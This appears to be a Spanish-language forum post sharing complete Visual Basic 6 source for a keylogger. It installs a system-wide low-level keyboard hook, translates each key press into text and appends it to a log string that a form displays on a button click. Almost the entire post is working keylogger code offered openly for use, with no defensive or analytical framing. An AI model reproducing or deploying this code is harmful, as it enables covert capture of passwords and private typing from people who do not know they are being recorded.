Tengo que dar las gracias a Karcrack, que coji su funcion que procesa el caracter , Gracias.
Código en un modulo:
Código: Seleccionar todo
'***************************************************
'***************************************************
'** Autor: Drinky94 **
'** Nombre Proyecto: Keylogger Hook **
'** Fecha: 7-1-2011 **
'** Agradecimientos: A karcrack por su funcion **
'** que procesa el caracter **
'***************************************************
'***************************************************
Option Explicit
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Private Type KBDLLHOOKSTRUCT
VkCode As Long
ScanCode As Long
Flags As Long
Time As Long
DwExtraInfo As Long
End Type
Private Const WM_KEYDOWN = &H100
Dim hHook As Long
Public Log As String
Public Sub IniciarHook()
hHook = SetWindowsHookEx(13, AddressOf DrinkLogger, App.hInstance, 0)
End Sub
Public Sub PararHook()
Call UnhookWindowsHookEx(hHook)
End Sub
Private Function DrinkLogger(ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Dim EsHook As KBDLLHOOKSTRUCT
Dim Letra As String
If WM_KEYDOWN = wParam Then
CopyMemory EsHook, lParam, Len(EsHook)
Letra = TranslateKey(EsHook.VkCode)
Log = Log & Letra
End If
DrinkLogger = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function
Private Function TranslateKey(ByVal KeyCode As Long) As String
'Funcion de Karcrack
Dim LngShift As Long
LngShift = GetAsyncKeyState(vbKeyShift)
If KeyCode >= 58 And KeyCode <= 90 Then
TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
ElseIf KeyCode >= 96 And KeyCode <= 105 Then
TranslateKey = Chr(KeyCode - 48)
ElseIf KeyCode >= 112 And KeyCode <= 123 Then
TranslateKey = "{F" & KeyCode - 111 & "}"
Else
If KeyCode = 160 Then TranslateKey = ""
If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
If KeyCode = 32 Then TranslateKey = " "
If KeyCode = 27 Then TranslateKey = "{ESC}"
If KeyCode = 46 Then TranslateKey = "{DEL}"
If KeyCode = 36 Then TranslateKey = "{HOME}"
If KeyCode = 35 Then TranslateKey = "{END}"
If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
If KeyCode = 45 Then TranslateKey = "{PASTE}"
If KeyCode = 144 Then TranslateKey = "{NUM}"
If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
If KeyCode = 13 Then TranslateKey = "{ENTER}"
If KeyCode = 8 Then TranslateKey = "{BACK}"
If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
If KeyCode = 9 Then TranslateKey = "{TAB}"
If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
If KeyCode = 164 Then TranslateKey = "{ALT}"
If KeyCode = 165 Then TranslateKey = "{ALTGR}"
If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
If KeyCode = 145 Then TranslateKey = "{ROLL}"
If KeyCode = 44 Then TranslateKey = "{PRINT}"
If KeyCode = 19 Then TranslateKey = "{PAUSE}"
If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
End If
End Function
Código: Seleccionar todo
Private Sub Command1_Click()
PararHook
Text1.Text = Log
End Sub
Private Sub Form_Load()
IniciarHook
End Sub